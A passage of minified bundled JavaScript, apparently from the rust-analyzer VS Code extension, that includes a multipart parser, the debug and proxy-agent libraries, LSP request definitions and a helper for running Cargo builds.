multipart boundary");let n=new pw(t[1]||t[2]),i,s,a,l,u,g,v=[],b=new ao,C=A=>{a+=N.decode(A,{stream:!0})},w=A=>{v.push(A)},E=()=>{let A=new bs(v,g,{type:u});b.append(l,A)},q=()=>{b.append(l,a)},N=new TextDecoder("utf-8");N.decode(),n.onPartBegin=function(){n.onPartData=C,n.onPartEnd=q,i="",s="",a="",l="",u="",g=null,v.length=0},n.onHeaderField=function(A){i+=N.decode(A,{stream:!0})},n.onHeaderValue=function(A){s+=N.decode(A,{stream:!0})},n.onHeaderEnd=function(){if(s+=N.decode(),i=i.toLowerCase(),i==="content-disposition"){let A=s.match(/\bname=("([^"]*)"|([^()<>@,;:\\"/[\]?={}\s\t]+))/i);A&&(l=A[2]||A[3]||""),g=Ok(s),g&&(n.onPartData=w,n.onPartEnd=E)}else i==="content-type"&&(u=s);s="",i=""};for await(let A of r)n.write(A);return n.end(),b}var fn,Me,hw,zn,gc,mc,Dk,Ts,Ek,xk,kk,qk,wi,pw,mw=xo(()=>{fw();Jl();fn=0,Me={START_BOUNDARY:fn++,HEADER_FIELD_START:fn++,HEADER_FIELD:fn++,HEADER_VALUE_START:fn++,HEADER_VALUE:fn++,HEADER_VALUE_ALMOST_DONE:fn++,HEADERS_ALMOST_DONE:fn++,PART_DATA_START:fn++,PART_DATA:fn++,END:fn++},hw=1,zn={PART_BOUNDARY:hw,LAST_BOUNDARY:hw*=2},gc=10,mc=13,Dk=32,Ts=45,Ek=58,xk=97,kk=122,qk=r=>r|32,wi=()=>{},pw=class{constructor(e){this.index=0,this.flags=0,this.onHeaderEnd=wi,this.onHeaderField=wi,this.onHeadersEnd=wi,this.onHeaderValue=wi,this.onPartBegin=wi,this.onPartData=wi,this.onPartEnd=wi,this.boundaryChars={},e=`\r
--`+e;let t=new Uint8Array(e.length);for(let n=0;n<e.length;n++)t[n]=e.charCodeAt(n),this.boundaryChars[t[n]]=!0;this.boundary=t,this.lookbehind=new Uint8Array(this.boundary.length+8),this.state=Me.START_BOUNDARY}write(e){let t=0,n=e.length,i=this.index,{lookbehind:s,boundary:a,boundaryChars:l,index:u,state:g,flags:v}=this,b=this.boundary.length,C=b-1,w=e.length,E,q,N=z=>{this[z+"Mark"]=t},A=z=>{delete this[z+"Mark"]},H=(z,M,G,X)=>{(M===void 0||M!==G)&&this[z](X&&X.subarray(M,G))},O=(z,M)=>{let G=z+"Mark";G in this&&(M?(H(z,this[G],t,e),delete this[G]):(H(z,this[G],e.length,e),this[G]=0))};for(t=0;t<n;t++)switch(E=e[t],g){case Me.START_BOUNDARY:if(u===a.length-2){if(E===Ts)v|=zn.LAST_BOUNDARY;else if(E!==mc)return;u++;break}else if(u-1==a.length-2){if(v&zn.LAST_BOUNDARY&&E===Ts)g=Me.END,v=0;else if(!(v&zn.LAST_BOUNDARY)&&E===gc)u=0,H("onPartBegin"),g=Me.HEADER_FIELD_START;else return;break}E!==a[u+2]&&(u=-2),E===a[u+2]&&u++;break;case Me.HEADER_FIELD_START:g=Me.HEADER_FIELD,N("onHeaderField"),u=0;case Me.HEADER_FIELD:if(E===mc){A("onHeaderField"),g=Me.HEADERS_ALMOST_DONE;break}if(u++,E===Ts)break;if(E===Ek){if(u===1)return;O("onHeaderField",!0),g=Me.HEADER_VALUE_START;break}if(q=qk(E),q<xk||q>kk)return;break;case Me.HEADER_VALUE_START:if(E===Dk)break;N("onHeaderValue"),g=Me.HEADER_VALUE;case Me.HEADER_VALUE:E===mc&&(O("onHeaderValue",!0),H("onHeaderEnd"),g=Me.HEADER_VALUE_ALMOST_DONE);break;case Me.HEADER_VALUE_ALMOST_DONE:if(E!==gc)return;g=Me.HEADER_FIELD_START;break;case Me.HEADERS_ALMOST_DONE:if(E!==gc)return;H("onHeadersEnd"),g=Me.PART_DATA_START;break;case Me.PART_DATA_START:g=Me.PART_DATA,N("onPartData");case Me.PART_DATA:if(i=u,u===0){for(t+=C;t<w&&!(e[t]in l);)t+=b;t-=C,E=e[t]}if(u<a.length)a[u]===E?(u===0&&O("onPartData",!0),u++):u=0;else if(u===a.length)u++,E===mc?v|=zn.PART_BOUNDARY:E===Ts?v|=zn.LAST_BOUNDARY:u=0;else if(u-1===a.length)if(v&zn.PART_BOUNDARY){if(u=0,E===gc){v&=~zn.PART_BOUNDARY,H("onPartEnd"),H("onPartBegin"),g=Me.HEADER_FIELD_START;break}}else v&zn.LAST_BOUNDARY&&E===Ts?(H("onPartEnd"),g=Me.END,v=0):u=0;if(u>0)s[u-1]=E;else if(i>0){let z=new Uint8Array(s.buffer,s.byteOffset,s.byteLength);H("onPartData",0,i,z),i=0,N("onPartData"),t--}break;case Me.END:break;default:throw new Error(`Unexpected state entered: ${g}`)}O("onHeaderField"),O("onHeaderValue"),O("onPartData"),this.index=u,this.state=g,this.flags=v}end(){if(this.state===Me.HEADER_FIELD_START&&this.index===0||this.state===Me.PART_DATA&&this.index===this.boundary.length)this.onPartEnd();else if(this.state!==Me.END)throw new Error("MultipartParser.end(): stream ended unexpectedly")}}});var Aw=F((MF,Ow)=>{var ho=1e3,po=ho*60,go=po*60,Ri=go*24,jk=Ri*7,$k=Ri*365.25;Ow.exports=function(r,e){e=e||{};var t=typeof r;if(t==="string"&&r.length>0)return Wk(r);if(t==="number"&&isFinite(r))return e.long?zk(r):Hk(r);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(r))};function Wk(r){if(r=String(r),!(r.length>100)){var e=/^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(r);if(!!e){var t=parseFloat(e[1]),n=(e[2]||"ms").toLowerCase();switch(n){case"years":case"year":case"yrs":case"yr":case"y":return t*$k;case"weeks":case"week":case"w":return t*jk;case"days":case"day":case"d":return t*Ri;case"hours":case"hour":case"hrs":case"hr":case"h":return t*go;case"minutes":case"minute":case"mins":case"min":case"m":return t*po;case"seconds":case"second":case"secs":case"sec":case"s":return t*ho;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return t;default:return}}}}function Hk(r){var e=Math.abs(r);return e>=Ri?Math.round(r/Ri)+"d":e>=go?Math.round(r/go)+"h":e>=po?Math.round(r/po)+"m":e>=ho?Math.round(r/ho)+"s":r+"ms"}function zk(r){var e=Math.abs(r);return e>=Ri?Rc(r,e,Ri,"day"):e>=go?Rc(r,e,go,"hour"):e>=po?Rc(r,e,po,"minute"):e>=ho?Rc(r,e,ho,"second"):r+" ms"}function Rc(r,e,t,n){var i=e>=t*1.5;return Math.round(r/t)+" "+n+(i?"s":"")}});var id=F((jF,Fw)=>{function Bk(r){t.debug=t,t.default=t,t.coerce=u,t.disable=s,t.enable=i,t.enabled=a,t.humanize=Aw(),t.destroy=g,Object.keys(r).forEach(v=>{t[v]=r[v]}),t.names=[],t.skips=[],t.formatters={};function e(v){let b=0;for(let C=0;C<v.length;C++)b=(b<<5)-b+v.charCodeAt(C),b|=0;return t.colors[Math.abs(b)%t.colors.length]}t.selectColor=e;function t(v){let b,C=null,w,E;function q(...N){if(!q.enabled)return;let A=q,H=Number(new Date),O=H-(b||H);A.diff=O,A.prev=b,A.curr=H,b=H,N[0]=t.coerce(N[0]),typeof N[0]!="string"&&N.unshift("%O");let z=0;N[0]=N[0].replace(/%([a-zA-Z%])/g,(G,X)=>{if(G==="%%")return"%";z++;let _e=t.formatters[X];if(typeof _e=="function"){let Ae=N[z];G=_e.call(A,Ae),N.splice(z,1),z--}return G}),t.formatArgs.call(A,N),(A.log||t.log).apply(A,N)}return q.namespace=v,q.useColors=t.useColors(),q.color=t.selectColor(v),q.extend=n,q.destroy=t.destroy,Object.defineProperty(q,"enabled",{enumerable:!0,configurable:!1,get:()=>C!==null?C:(w!==t.namespaces&&(w=t.namespaces,E=t.enabled(v)),E),set:N=>{C=N}}),typeof t.init=="function"&&t.init(q),q}function n(v,b){let C=t(this.namespace+(typeof b=="undefined"?":":b)+v);return C.log=this.log,C}function i(v){t.save(v),t.namespaces=v,t.names=[],t.skips=[];let b,C=(typeof v=="string"?v:"").split(/[\s,]+/),w=C.length;for(b=0;b<w;b++)!C[b]||(v=C[b].replace(/\*/g,".*?"),v[0]==="-"?t.skips.push(new RegExp("^"+v.substr(1)+"$")):t.names.push(new RegExp("^"+v+"$")))}function s(){let v=[...t.names.map(l),...t.skips.map(l).map(b=>"-"+b)].join(",");return t.enable(""),v}function a(v){if(v[v.length-1]==="*")return!0;let b,C;for(b=0,C=t.skips.length;b<C;b++)if(t.skips[b].test(v))return!1;for(b=0,C=t.names.length;b<C;b++)if(t.names[b].test(v))return!0;return!1}function l(v){return v.toString().substring(2,v.toString().length-2).replace(/\.\*\?$/,"*")}function u(v){return v instanceof Error?v.stack||v.message:v}function g(){console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.")}return t.enable(t.load()),t}Fw.exports=Bk});var Iw=F((pr,_c)=>{pr.formatArgs=Kk;pr.save=Gk;pr.load=Vk;pr.useColors=Uk;pr.storage=Yk();pr.destroy=(()=>{let r=!1;return()=>{r||(r=!0,console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`."))}})();pr.colors=["#0000CC","#0000FF","#0033CC","#0033FF","#0066CC","#0066FF","#0099CC","#0099FF","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#3300CC","#3300FF","#3333CC","#3333FF","#3366CC","#3366FF","#3399CC","#3399FF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#6600CC","#6600FF","#6633CC","#6633FF","#66CC00","#66CC33","#9900CC","#9900FF","#9933CC","#9933FF","#99CC00","#99CC33","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#CC6600","#CC6633","#CC9900","#CC9933","#CCCC00","#CCCC33","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF6600","#FF6633","#FF9900","#FF9933","#FFCC00","#FFCC33"];function Uk(){return typeof window!="undefined"&&window.process&&(window.process.type==="renderer"||window.process.__nwjs)?!0:typeof navigator!="undefined"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)?!1:typeof document!="undefined"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window!="undefined"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator!="undefined"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator!="undefined"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)}function Kk(r){if(r[0]=(this.useColors?"%c":"")+this.namespace+(this.useColors?" %c":" ")+r[0]+(this.useColors?"%c ":" ")+"+"+_c.exports.humanize(this.diff),!this.useColors)return;let e="color: "+this.color;r.splice(1,0,e,"color: inherit");let t=0,n=0;r[0].replace(/%[a-zA-Z%]/g,i=>{i!=="%%"&&(t++,i==="%c"&&(n=t))}),r.splice(n,0,e)}pr.log=console.debug||console.log||(()=>{});function Gk(r){try{r?pr.storage.setItem("debug",r):pr.storage.removeItem("debug")}catch{}}function Vk(){let r;try{r=pr.storage.getItem("debug")}catch{}return!r&&typeof process!="undefined"&&"env"in process&&(r=process.env.DEBUG),r}function Yk(){try{return localStorage}catch{}}_c.exports=id()(pr);var{formatters:Xk}=_c.exports;Xk.j=function(r){try{return JSON.stringify(r)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}}});var Nw=F(($F,Lw)=>{"use strict";Lw.exports=(r,e=process.argv)=>{let t=r.startsWith("-")?"":r.length===1?"-":"--",n=e.indexOf(t+r),i=e.indexOf("--");return n!==-1&&(i===-1||n<i)}});var $w=F((WF,jw)=>{"use strict";var Qk=require("os"),Mw=require("tty"),qr=Nw(),{env:_t}=process,Un;qr("no-color")||qr("no-colors")||qr("color=false")||qr("color=never")?Un=0:(qr("color")||qr("colors")||qr("color=true")||qr("color=always"))&&(Un=1);"FORCE_COLOR"in _t&&(_t.FORCE_COLOR==="true"?Un=1:_t.FORCE_COLOR==="false"?Un=0:Un=_t.FORCE_COLOR.length===0?1:Math.min(parseInt(_t.FORCE_COLOR,10),3));function od(r){return r===0?!1:{level:r,hasBasic:!0,has256:r>=2,has16m:r>=3}}function sd(r,e){if(Un===0)return 0;if(qr("color=16m")||qr("color=full")||qr("color=truecolor"))return 3;if(qr("color=256"))return 2;if(r&&!e&&Un===void 0)return 0;let t=Un||0;if(_t.TERM==="dumb")return t;if(process.platform==="win32"){let n=Qk.release().split(".");return Number(n[0])>=10&&Number(n[2])>=10586?Number(n[2])>=14931?3:2:1}if("CI"in _t)return["TRAVIS","CIRCLECI","APPVEYOR","GITLAB_CI","GITHUB_ACTIONS","BUILDKITE"].some(n=>n in _t)||_t.CI_NAME==="codeship"?1:t;if("TEAMCITY_VERSION"in _t)return/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(_t.TEAMCITY_VERSION)?1:0;if(_t.COLORTERM==="truecolor")return 3;if("TERM_PROGRAM"in _t){let n=parseInt((_t.TERM_PROGRAM_VERSION||"").split(".")[0],10);switch(_t.TERM_PROGRAM){case"iTerm.app":return n>=3?3:2;case"Apple_Terminal":return 2}}return/-256(color)?$/i.test(_t.TERM)?2:/^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(_t.TERM)||"COLORTERM"in _t?1:t}function Jk(r){let e=sd(r,r&&r.isTTY);return od(e)}jw.exports={supportsColor:Jk,stdout:od(sd(!0,Mw.isatty(1))),stderr:od(sd(!0,Mw.isatty(2)))}});var Hw=F((qt,Tc)=>{var Zk=require("tty"),Sc=require("util");qt.init=s0;qt.log=n0;qt.formatArgs=t0;qt.save=i0;qt.load=o0;qt.useColors=e0;qt.destroy=Sc.deprecate(()=>{},"Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.");qt.colors=[6,2,3,4,5,1];try{let r=$w();r&&(r.stderr||r).level>=2&&(qt.colors=[20,21,26,27,32,33,38,39,40,41,42,43,44,45,56,57,62,63,68,69,74,75,76,77,78,79,80,81,92,93,98,99,112,113,128,129,134,135,148,149,160,161,162,163,164,165,166,167,168,169,170,171,172,173,178,179,184,185,196,197,198,199,200,201,202,203,204,205,206,207,208,209,214,215,220,221])}catch{}qt.inspectOpts=Object.keys(process.env).filter(r=>/^debug_/i.test(r)).reduce((r,e)=>{let t=e.substring(6).toLowerCase().replace(/_([a-z])/g,(i,s)=>s.toUpperCase()),n=process.env[e];return/^(yes|on|true|enabled)$/i.test(n)?n=!0:/^(no|off|false|disabled)$/i.test(n)?n=!1:n==="null"?n=null:n=Number(n),r[t]=n,r},{});function e0(){return"colors"in qt.inspectOpts?Boolean(qt.inspectOpts.colors):Zk.isatty(process.stderr.fd)}function t0(r){let{namespace:e,useColors:t}=this;if(t){let n=this.color,i="[3"+(n<8?n:"8;5;"+n),s=` ${i};1m${e} [0m`;r[0]=s+r[0].split(`
`).join(`
`+s),r.push(i+"m+"+Tc.exports.humanize(this.diff)+"[0m")}else r[0]=r0()+e+" "+r[0]}function r0(){return qt.inspectOpts.hideDate?"":new Date().toISOString()+" "}function n0(...r){return process.stderr.write(Sc.format(...r)+`
`)}function i0(r){r?process.env.DEBUG=r:delete process.env.DEBUG}function o0(){return process.env.DEBUG}function s0(r){r.inspectOpts={};let e=Object.keys(qt.inspectOpts);for(let t=0;t<e.length;t++)r.inspectOpts[e[t]]=qt.inspectOpts[e[t]]}Tc.exports=id()(qt);var{formatters:Ww}=Tc.exports;Ww.o=function(r){return this.inspectOpts.colors=this.useColors,Sc.inspect(r,this.inspectOpts).split(`
`).map(e=>e.trim()).join(" ")};Ww.O=function(r){return this.inspectOpts.colors=this.useColors,Sc.inspect(r,this.inspectOpts)}});var Pc=F((HF,ad)=>{typeof process=="undefined"||process.type==="renderer"||process.browser===!0||process.__nwjs?ad.exports=Iw():ad.exports=Hw()});var zw=F(cd=>{"use strict";Object.defineProperty(cd,"__esModule",{value:!0});function a0(r){return function(e,t){return new Promise((n,i)=>{r.call(this,e,t,(s,a)=>{s?i(s):n(a)})})}}cd.default=a0});var Kw=F((ld,Uw)=>{"use strict";var Bw=ld&&ld.__importDefault||function(r){return r&&r.__esModule?r:{default:r}},c0=require("events"),u0=Bw(Pc()),l0=Bw(zw()),Es=u0.default("agent-base");function d0(r){return Boolean(r)&&typeof r.addRequest=="function"}function ud(){let{stack:r}=new Error;return typeof r!="string"?!1:r.split(`
`).some(e=>e.indexOf("(https.js:")!==-1||e.indexOf("node:https:")!==-1)}function Dc(r,e){return new Dc.Agent(r,e)}(function(r){class e extends c0.EventEmitter{constructor(n,i){super();let s=i;typeof n=="function"?this.callback=n:n&&(s=n),this.timeout=null,s&&typeof s.timeout=="number"&&(this.timeout=s.timeout),this.maxFreeSockets=1,this.maxSockets=1,this.maxTotalSockets=1/0,this.sockets={},this.freeSockets={},this.requests={},this.options={}}get defaultPort(){return typeof this.explicitDefaultPort=="number"?this.explicitDefaultPort:ud()?443:80}set defaultPort(n){this.explicitDefaultPort=n}get protocol(){return typeof this.explicitProtocol=="string"?this.explicitProtocol:ud()?"https:":"http:"}set protocol(n){this.explicitProtocol=n}callback(n,i,s){throw new Error('"agent-base" has no default implementation, you must subclass and override `callback()`')}addRequest(n,i){let s=Object.assign({},i);typeof s.secureEndpoint!="boolean"&&(s.secureEndpoint=ud()),s.host==null&&(s.host="localhost"),s.port==null&&(s.port=s.secureEndpoint?443:80),s.protocol==null&&(s.protocol=s.secureEndpoint?"https:":"http:"),s.host&&s.path&&delete s.path,delete s.agent,delete s.hostname,delete s._defaultAgent,delete s.defaultPort,delete s.createConnection,n._last=!0,n.shouldKeepAlive=!1;let a=!1,l=null,u=s.timeout||this.timeout,g=w=>{n._hadError||(n.emit("error",w),n._hadError=!0)},v=()=>{l=null,a=!0;let w=new Error(`A "socket" was not created for HTTP request before ${u}ms`);w.code="ETIMEOUT",g(w)},b=w=>{a||(l!==null&&(clearTimeout(l),l=null),g(w))},C=w=>{if(a)return;if(l!=null&&(clearTimeout(l),l=null),d0(w)){Es("Callback returned another Agent instance %o",w.constructor.name),w.addRequest(n,s);return}if(w){w.once("free",()=>{this.freeSocket(w,s)}),n.onSocket(w);return}let E=new Error(`no Duplex stream was returned to agent-base for \`${n.method} ${n.path}\``);g(E)};if(typeof this.callback!="function"){g(new Error("`callback` is not defined"));return}this.promisifiedCallback||(this.callback.length>=3?(Es("Converting legacy callback function to promise"),this.promisifiedCallback=l0.default(this.callback)):this.promisifiedCallback=this.callback),typeof u=="number"&&u>0&&(l=setTimeout(v,u)),"port"in s&&typeof s.port!="number"&&(s.port=Number(s.port));try{Es("Resolving socket for %o request: %o",s.protocol,`${n.method} ${n.path}`),Promise.resolve(this.promisifiedCallback(n,s)).then(C,b)}catch(w){Promise.reject(w).catch(b)}}freeSocket(n,i){Es("Freeing socket %o %o",n.constructor.name,i),n.destroy()}destroy(){Es("Destroying agent %o",this.constructor.name)}}r.Agent=e,r.prototype=r.Agent.prototype})(Dc||(Dc={}));Uw.exports=Dc});var Gw=F(ks=>{"use strict";var f0=ks&&ks.__importDefault||function(r){return r&&r.__esModule?r:{default:r}};Object.defineProperty(ks,"__esModule",{value:!0});var h0=f0(Pc()),xs=h0.default("https-proxy-agent:parse-proxy-response");function p0(r){return new Promise((e,t)=>{let n=0,i=[];function s(){let b=r.read();b?v(b):r.once("readable",s)}function a(){r.removeListener("end",u),r.removeListener("error",g),r.removeListener("close",l),r.removeListener("readable",s)}function l(b){xs("onclose had error %o",b)}function u(){xs("onend")}function g(b){a(),xs("onerror %o",b),t(b)}function v(b){i.push(b),n+=b.length;let C=Buffer.concat(i,n);if(C.indexOf(`\r
\r
`)===-1){xs("have not received end of HTTP headers yet..."),s();return}let E=C.toString("ascii",0,C.indexOf(`\r
`)),q=+E.split(" ")[1];xs("got proxy server response: %o",E),e({statusCode:q,buffered:C})}r.on("error",g),r.on("close",l),r.on("end",u),s()})}ks.default=p0});var Qw=F(_i=>{"use strict";var g0=_i&&_i.__awaiter||function(r,e,t,n){function i(s){return s instanceof t?s:new t(function(a){a(s)})}return new(t||(t=Promise))(function(s,a){function l(v){try{g(n.next(v))}catch(b){a(b)}}function u(v){try{g(n.throw(v))}catch(b){a(b)}}function g(v){v.done?s(v.value):i(v.value).then(l,u)}g((n=n.apply(r,e||[])).next())})},mo=_i&&_i.__importDefault||function(r){return r&&r.__esModule?r:{default:r}};Object.defineProperty(_i,"__esModule",{value:!0});var Vw=mo(require("net")),Yw=mo(require("tls")),m0=mo(require("url")),v0=mo(require("assert")),y0=mo(Pc()),b0=Kw(),w0=mo(Gw()),qs=y0.default("https-proxy-agent:agent"),Xw=class extends b0.Agent{constructor(e){let t;if(typeof e=="string"?t=m0.default.parse(e):t=e,!t)throw new Error("an HTTP(S) proxy server `host` and `port` must be specified!");qs("creating new HttpsProxyAgent instance: %o",t);super(t);let n=Object.assign({},t);this.secureProxy=t.secureProxy||_0(n.protocol),n.host=n.hostname||n.host,typeof n.port=="string"&&(n.port=parseInt(n.port,10)),!n.port&&n.host&&(n.port=this.secureProxy?443:80),this.secureProxy&&!("ALPNProtocols"in n)&&(n.ALPNProtocols=["http 1.1"]),n.host&&n.path&&(delete n.path,delete n.pathname),this.proxy=n}callback(e,t){return g0(this,void 0,void 0,function*(){let{proxy:n,secureProxy:i}=this,s;i?(qs("Creating `tls.Socket`: %o",n),s=Yw.default.connect(n)):(qs("Creating `net.Socket`: %o",n),s=Vw.default.connect(n));let a=Object.assign({},n.headers),u=`CONNECT ${`${t.host}:${t.port}`} HTTP/1.1\r
`;n.auth&&(a["Proxy-Authorization"]=`Basic ${Buffer.from(n.auth).toString("base64")}`);let{host:g,port:v,secureEndpoint:b}=t;R0(v,b)||(g+=`:${v}`),a.Host=g,a.Connection="close";for(let N of Object.keys(a))u+=`${N}: ${a[N]}\r
`;let C=w0.default(s);s.write(`${u}\r
`);let{statusCode:w,buffered:E}=yield C;if(w===200){if(e.once("socket",C0),t.secureEndpoint){let N=t.servername||t.host;if(!N)throw new Error('Could not determine "servername"');return qs("Upgrading socket connection to TLS"),Yw.default.connect(Object.assign(Object.assign({},S0(t,"host","hostname","path","port")),{socket:s,servername:N}))}return s}s.destroy();let q=new Vw.default.Socket;return q.readable=!0,e.once("socket",N=>{qs("replaying proxy buffer for failed request"),v0.default(N.listenerCount("data")>0),N.push(E),N.push(null)}),q})}};_i.default=Xw;function C0(r){r.resume()}function R0(r,e){return Boolean(!e&&r===80||e&&r===443)}function _0(r){return typeof r=="string"?/^https:?$/i.test(r):!1}function S0(r,...e){let t={},n;for(n in r)e.includes(n)||(t[n]=r[n]);return t}});var Zw=F((hd,Jw)=>{"use strict";var T0=hd&&hd.__importDefault||function(r){return r&&r.__esModule?r:{default:r}},dd=T0(Qw());function fd(r){return new dd.default(r)}(function(r){r.HttpsProxyAgent=dd.default,r.prototype=dd.default.prototype})(fd||(fd={}));Jw.exports=fd});ff(exports,{activate:()=>lC,deactivate:()=>dC});var he=oe(require("vscode")),cC=oe(require("os"));var U=oe(require("vscode")),gs=oe(nc());var He=oe(nc()),_y=new He.RequestType("rust-analyzer/analyzerStatus"),Sy=new He.RequestType0("rust-analyzer/memoryUsage"),Ty=new He.RequestType0("rust-analyzer/shuffleCrateGraph"),Py=new He.NotificationType("experimental/serverStatus"),Dy=new He.RequestType0("rust-analyzer/reloadWorkspace"),Ey=new He.RequestType("textDocument/hover"),xy=new He.RequestType("rust-analyzer/syntaxTree"),ky=new He.RequestType("rust-analyzer/viewHir"),qy=new He.RequestType("rust-analyzer/viewItemTree"),Oy=new He.RequestType("rust-analyzer/viewCrateGraph"),Ay=new He.RequestType("rust-analyzer/expandMacro"),Fy=new He.RequestType("experimental/matchingBrace"),Iy=new He.RequestType("experimental/parentModule"),Ly=new He.RequestType("experimental/joinLines"),Ny=new He.RequestType("experimental/onEnter"),My=new He.RequestType("experimental/runnables"),jy=new He.RequestType("rust-analyzer/relatedTests"),Zi;(e=>{let r;(s=>{s.TypeHint="TypeHint",s.ParamHint="ParameterHint",s.ChainingHint="ChainingHint"})(r=e.Kind||(e.Kind={}))})(Zi||(Zi={}));var $y=new He.RequestType("rust-analyzer/inlayHints"),Al=new He.RequestType("experimental/ssr"),Wy=new He.RequestType("experimental/externalDocs"),Hy=new He.RequestType("experimental/openCargoToml"),zy=new He.RequestType("experimental/moveItem"),ic=(t=>(t.Up="Up",t.Down="Down",t))(ic||{});var fb=oe(require("path"));var Kr=oe(require("vscode"));var Il=oe(Fl()),oc=oe(require("vscode")),Uy=oe(require("assert")),sc=oe(require("child_process")),Ky=oe(require("util"));function cn(r,e){try{(0,Uy.strict)(r,e)}catch(t){throw ae.error("Assertion failed:",e),t}}var ae=new class{constructor(){this.enabled=!0;this.output=oc.window.createOutputChannel("Rust Analyzer Client")}setEnabled(r){ae.enabled=r}debug(...r){!ae.enabled||ae.write("DEBUG",...r)}info(...r){ae.write("INFO",...r)}warn(...r){debugger;ae.write("WARN",...r)}error(...r){debugger;ae.write("ERROR",...r),ae.output.show(!0)}write(r,...e){let t=e.map(ae.stringify).join(" "),n=new Date().toLocaleString();ae.output.appendLine(`${r} [${n}]: ${t}`)}stringify(r){return typeof r=="string"?r:(0,Ky.inspect)(r,{colors:!1,depth:6})}};async function Gy(r,e,t,n){for(let i of[40,160,640,2560,10240,null])try{return await(n?r.sendRequest(e,t,n):r.sendRequest(e,t))}catch(s){if(i===null)throw ae.warn("LSP request timed out",{method:e.method,param:t,error:s}),s;if(s.code===Il.LSPErrorCodes.RequestCancelled)throw s;if(s.code!==Il.LSPErrorCodes.ContentModified)throw ae.warn("LSP request failed",{method:e.method,param:t,error:s}),s;await gi(i)}throw"unreachable"}function gi(r){return new Promise(e=>setTimeout(e,r))}function un(r){return r.languageId==="rust"&&r.uri.scheme==="file"}function Vy(r){return r.uri.scheme==="file"&&r.fileName.endsWith("Cargo.toml")}function Pn(r){return un(r.document)}function Yy(r){ae.debug("Checking availability of a binary at",r);let e=(0,sc.spawnSync)(r,["--version"],{encoding:"utf8"});return(e.error&&e.error.code!=="ENOENT"?ae.warn:ae.debug)(r,"--version:",e),e.status===0}function Ll(r,e){return oc.commands.executeCommand("setContext",r,e)}function Xy(r){let e=new Map;return async function(t){let n=e.get(t);if(n)return n;let i=await r.call(this,t);return e.set(t,i),i}}function Nl(r,e){return new Promise((t,n)=>{(0,sc.exec)(r,e,(i,s,a)=>{if(i){n(i);return}if(a){n(new Error(a));return}t(s.trimEnd())})})}async function Ml(r){if(r.entries().length===1){let[e,t]=r.entries()[0],n=await Qy(e);n&&await ac(n,t);return}for(let[e,t]of r.entries()){let n=await Qy(e);n&&await n.edit(i=>{for(let s of t)cn(!Jy(s.newText),`bad ws edit: snippet received with multiple edits: ${JSON.stringify(r)}`),i.replace(s.range,s.newText)})}}async function Qy(r){var e;return((e=Kr.window.activeTextEditor)==null?void 0:e.document.uri)!==r&&await Kr.window.showTextDocument(r,{}),Kr.window.visibleTextEditors.find(t=>t.document.uri.toString()===r.toString())}async function ac(r,e){let t=[],n=0;await r.edit(i=>{for(let s of e){let a=Jy(s.newText);if(a){let[l,[u,g]]=a,v=l.substr(0,u),b=v.lastIndexOf(`
`),C=s.range.start.line+n+Zy(v),w=b===-1?s.range.start.character+u:v.length-b-1,E=w+g;t.push(new Kr.Selection(new Kr.Position(C,w),new Kr.Position(C,E))),i.replace(s.range,l)}else i.replace(s.range,s.newText);n+=Zy(s.newText)-(s.range.end.line-s.range.start.line)}}),t.length>0&&(r.selections=t),t.length===1&&r.revealRange(t[0],Kr.TextEditorRevealType.InCenterIfOutsideViewport)}function Jy(r){let e=r.match(/\$(0|\{0:([^}]*)\})/);if(!e)return;let t=e[2]??"";if(e.index==null)return;let n=[e.index,t.length];return[r.replace(e[0],t),n]}function Zy(r){return(r.match(/\n/g)||[]).length}var hb=oe(require("child_process"));var mi=oe(require("vscode"));var pt=oe(require("vscode"));var eb=oe(require("child_process")),cc=oe(require("os")),uc=oe(require("path")),tb=oe(require("readline")),Wn=oe(require("vscode"));var hs=class{constructor(e,t){this.rootFolder=e;this.output=t}static artifactSpec(e){let t=[...e,"--message-format=json"];switch(t[0]){case"run":t[0]="build";break;case"test":{t.includes("--no-run")||t.push("--no-run");break}}let n={cargoArgs:t};return t[0]==="test"&&(n.filter=i=>i.filter(s=>s.isTest)),n}async getArtifacts(e){var n;let t=[];try{await this.runCargo(e.cargoArgs,i=>{if(i.reason==="compiler-artifact"&&i.executable){let s=i.target.crate_types.includes("bin"),a=i.target.kind.includes("custom-build");(s&&!a||i.profile.test)&&t.push({fileName:i.executable,name:i.target.name,kind:i.target.kind[0],isTest:i.profile.test})}else i.reason==="compiler-message"&&this.output.append(i.message.rendered)},i=>this.output.append(i))}catch(i){throw this.output.show(!0),new Error(`Cargo invocation has failed: ${i}`)}return((n=e.filter)==null?void 0:n.call(e,t))??t}async executableFromArgs(e){let t=await this.getArtifacts(hs.artifactSpec(e));if(t.length===0)throw new Error("No compilation artifacts");if(t.length>1)throw new Error("Multiple compilation artifacts are not supported.");return t[0].fileName}async runCargo(e,t,n){let i=await jl();return await new Promise((s,a)=>{let l=eb.spawn(i,e,{stdio:["ignore","pipe","pipe"],cwd:this.rootFolder});l.on("error",g=>a(new Error(`could not launch cargo: 